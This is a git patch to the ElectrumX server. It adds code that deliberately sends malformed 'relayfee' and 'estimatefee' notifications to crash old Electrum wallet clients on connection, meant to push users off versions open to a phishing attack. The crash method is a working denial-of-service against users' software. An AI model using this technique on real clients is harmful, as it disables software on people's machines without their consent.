From bdea2b2b06a77bb09ff2d46ef3257c531e77b6ee Mon Sep 17 00:00:00 2001 From: ghost43 Date: Fri, 15 Mar 2019 02:46:35 +0100 Subject: [PATCH] crash old clients (#760) * rename method "upgrade_required" * attempt to crash old clients to force users to upgrade On the BTC chain, exploit a DOS vulnerability in old Electrum clients, to kill their network thread and make them unusable. This should force users of old clients that are vulnerable to the transaction-broadcast phishing attack to upgrade their client. --- electrumx/lib/coins.py | 15 +++++++++------ electrumx/server/session.py | 20 +++++++++++++++++++- 2 files changed, 28 insertions(+), 7 deletions(-) diff --git a/electrumx/lib/coins.py b/electrumx/lib/coins.py index 9d1e85f..61b2732 100644 --- a/electrumx/lib/coins.py +++ b/electrumx/lib/coins.py @@ -47,7 +47,8 @@ import electrumx.lib.tx_dash as lib_tx_dash import electrumx.server.block_processor as block_proc import electrumx.server.daemon as daemon from electrumx.server.session import (ElectrumX, DashElectrumX, - SmartCashElectrumX, AuxPoWElectrumX) + SmartCashElectrumX, AuxPoWElectrumX, + BitcoinSegwitElectrumX) Block = namedtuple("Block", "raw header transactions") @@ -268,7 +269,7 @@ class Coin(object): return h @classmethod - def upgrade_required(cls, client_ver): + def warn_old_client_on_tx_broadcast(cls, client_ver): return False @@ -405,7 +406,7 @@ class BitcoinCash(BitcoinMixin, Coin): BLOCK_PROCESSOR = block_proc.LTORBlockProcessor @classmethod - def upgrade_required(cls, client_ver): + def warn_old_client_on_tx_broadcast(cls, client_ver): if client_ver < (3, 3, 4): return ('

' 'Your transaction was successfully broadcast.

' @@ -419,6 +420,7 @@ class BitcoinCash(BitcoinMixin, Coin): class BitcoinSegwit(BitcoinMixin, Coin): NAME = "BitcoinSegwit" DESERIALIZER = lib_tx.DeserializerSegWit + SESSIONCLS = BitcoinSegwitElectrumX MEMPOOL_HISTOGRAM_REFRESH_SECS = 120 TX_COUNT = 318337769 TX_COUNT_HEIGHT = 524213 @@ -439,7 +441,7 @@ class BitcoinSegwit(BitcoinMixin, Coin): ] @classmethod - def upgrade_required(cls, client_ver): + def warn_old_client_on_tx_broadcast(cls, client_ver): if client_ver < (3, 3, 3): return ('

' 'Your transaction was successfully broadcast.

' @@ -614,7 +616,7 @@ class BitcoinCashTestnet(BitcoinTestnetMixin, Coin): BLOCK_PROCESSOR = block_proc.LTORBlockProcessor @classmethod - def upgrade_required(cls, client_ver): + def warn_old_client_on_tx_broadcast(cls, client_ver): if client_ver < (3, 3, 4): return ('

' 'Your transaction was successfully broadcast.

' @@ -638,6 +640,7 @@ class BitcoinSegwitTestnet(BitcoinTestnetMixin, Coin): '''Bitcoin Testnet for Core bitcoind >= 0.13.1.''' NAME = "BitcoinSegwit" DESERIALIZER = lib_tx.DeserializerSegWit + SESSIONCLS = BitcoinSegwitElectrumX PEERS = [ 'electrum.akinbo.org s t', 'he36kyperp3kbuxu.onion s t', @@ -649,7 +652,7 @@ class BitcoinSegwitTestnet(BitcoinTestnetMixin, Coin): ] @classmethod - def upgrade_required(cls, client_ver): + def warn_old_client_on_tx_broadcast(cls, client_ver): if client_ver < (3, 3, 3): return ('

' 'Your transaction was successfully broadcast.

' diff --git a/electrumx/server/session.py b/electrumx/server/session.py index 437aebe..6db7cae 100644 --- a/electrumx/server/session.py +++ b/electrumx/server/session.py @@ -1119,6 +1119,7 @@ class ElectrumX(SessionBase): # that protocol version in unsupported. ptuple, client_min = util.protocol_version( protocol_version, self.PROTOCOL_MIN, self.PROTOCOL_MAX) + await self.maybe_attempt_to_crash_old_client(ptuple) if ptuple is None: if client_min > self.PROTOCOL_MIN: self.logger.info(f'client requested future protocol version ' @@ -1131,6 +1132,9 @@ class ElectrumX(SessionBase): return (electrumx.version, self.protocol_version_string()) + async def maybe_attempt_to_crash_old_client(self, proto_ver): + return + async def transaction_broadcast(self, raw_tx): '''Broadcast a raw transaction to the network. @@ -1148,7 +1152,7 @@ class ElectrumX(SessionBase): self.txs_sent += 1 client_ver = util.protocol_tuple(self.client) if client_ver != (0, ): - msg = self.coin.upgrade_required(client_ver) + msg = self.coin.warn_old_client_on_tx_broadcast(client_ver) if msg: self.logger.info(f'sent tx: {hex_hash}. and warned user to upgrade their ' f'client from {self.client}') @@ -1555,3 +1559,17 @@ class AuxPoWElectrumX(ElectrumX): height += 1 return headers.hex() + + +class BitcoinSegwitElectrumX(ElectrumX): + + async def maybe_attempt_to_crash_old_client(self, proto_ver): + client_ver = util.protocol_tuple(self.client) + is_old_protocol = proto_ver is None or proto_ver <= (1, 2) + is_old_client = client_ver != (0,) and client_ver < (3, 2, 4) + if is_old_protocol and is_old_client: + self.logger.info(f'attempting to crash old client with version {self.client}') + # this can crash electrum client 2.6 <= v < 3.1.2 + await self.send_notification('blockchain.relayfee', ()) + # this can crash electrum client (v < 2.8.2) UNION (3.0.0 <= v < 3.3.0) + await self.send_notification('blockchain.estimatefee', ())